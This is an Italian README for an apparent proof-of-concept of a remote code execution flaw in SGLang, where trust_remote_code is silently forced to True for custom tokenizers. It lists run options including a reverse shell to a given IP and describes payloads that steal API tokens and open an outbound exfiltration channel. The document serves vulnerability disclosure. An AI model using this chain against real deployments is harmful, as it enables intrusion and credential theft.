
PoC per CVE-2026-7669: override silenzioso di trust_remote_code in SGLang -> RCE
SGLang sovrascrive silenziosamente trust_remote_code=False in True e richiama nuovamente
AutoTokenizer.from_pretrained ogni volta che transformers v5 restituisce un
oggetto TokenizersBackend. Un modello con una tokenizer_class personalizzata e una
auto_map che punta a tokenizer.py raggiunge l'esecuzione arbitraria di codice
all'interno del processo SGLang anche quando l'operatore ha passato False. Nessuna riga
di log viene emessa a nessun livello.
main corrente (commit fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Altoif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Introdotto nella PR #17784
(commit d1e95af28, 2026-03-18). La notifica originale logger.info(...)
è stata rimossa dal commit 27ac831a8 (2026-03-23) con un titolo "docs: improve CI
and testing documentation", lasciando la sovrascrittura completamente silenziosa in
ogni versione vulnerabile rilasciata.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Crea un'immagine Docker (python:3.12.7-slim-bookworm + transformers==5.3.0
Altre modalità:
./run.sh --server riproduci tramite TokenizerManager.__init__
./run.sh --versions matrice transformers 5.0..5.5
./run.sh --revshell IP reverse shell opzionale verso IP:4444
./run.sh --rebuild forza ricostruzione --no-cache
./run.sh --copy-ledger ./ledger.json
Uscita 0 significa confermato. Riepilogo finale:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Codici di uscita:
| Codice | Significato |
|---|---|
| 0 | Confermato |
| 1 | Non attivato |
| 2 | Falso positivo (transformers stesso ha eseguito tokenizer.py, il bug è a monte) |
| 3 | Preflight della versione bloccata fallito |
La fase di preflight legge pinned_versions.json e verifica ogni valore
contro l'ambiente di runtime. La deriva esce con codice 3 prima che venga eseguito qualsiasi test.
| Componente | Blocco |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Commit SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 di hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 del blocco vulnerabile (righe 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Metrica | Valore | Supportato da |
|---|---|---|
| AV | N | I file di attivazione (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) sono il layout standard auto_map di HF Hub. Qualsiasi registry che li serve raggiunge il bug. |
| AC | L | PHASE-2 si attiva in modo deterministico in una singola esecuzione. Ogni condizione di attivazione è contenuto creato dall'attaccante. PRE-1..7 confermano nessun fingerprinting dell'ambiente. |
| PR | N | Un upload gratuito su HF Hub è sufficiente. Nulla nella catena di attivazione richiede privilegi preesistenti sulla vittima. |
| UI | R | L'attivazione avviene solo quando un operatore (o una pipeline configurata dall'operatore) invoca launch_server --model-path attacker/model. |
| S | U | Tutte le affermazioni SEV-* vengono eseguite all'interno dell'autorità del processo SGLang. Nessuna fuga dalla sandbox o dal container. |
| C | H | SEV-secrets cattura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY dall'ambiente del processo. SEV-network apre un canale di esfiltrazione TCP in uscita. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip sono quattro primitive di integrità indipendenti in diverse posizioni sensibili. |
| A | H | Dedotto da RCE. SEV-pip dimostra l'esecuzione arbitraria di sottoprocessi, che è la stessa primitiva necessaria per il self-DoS. Il PoC non dimostra direttamente un auto-kill. |
8.8 è il minimo conservativo. 9.6 (con S:C) e 10.0 (sia S:C che
UI:N) sono difendibili ma dipendono dal revisore.
UI:N non è giustificato per questa CVE. Il server HTTP di SGLang ha un
genuino bypass di default senza autenticazione quando api_key=None e admin_api_key=None
(verificato da AUTH-1 contro la primitiva decide_request_auth in
runtime), ma nessun endpoint HTTP raggiunge get_tokenizer dopo l'avvio
(verificato da CHAIN-1). Tutti e quattro i punti di chiamata di get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) vengono eseguiti una volta all'avvio del server dal
--model-path fornito dall'operatore. Il bypass di autenticazione è quindi un problema
separato e non un partner di catena per CVE-2026-7669.
Il PoC scrive un registro JSON in /tmp/poc_claim_ledger.json con 29
affermazioni singolarmente testabili. Usa ./run.sh --copy-ledger ./ledger.json
per estrarlo.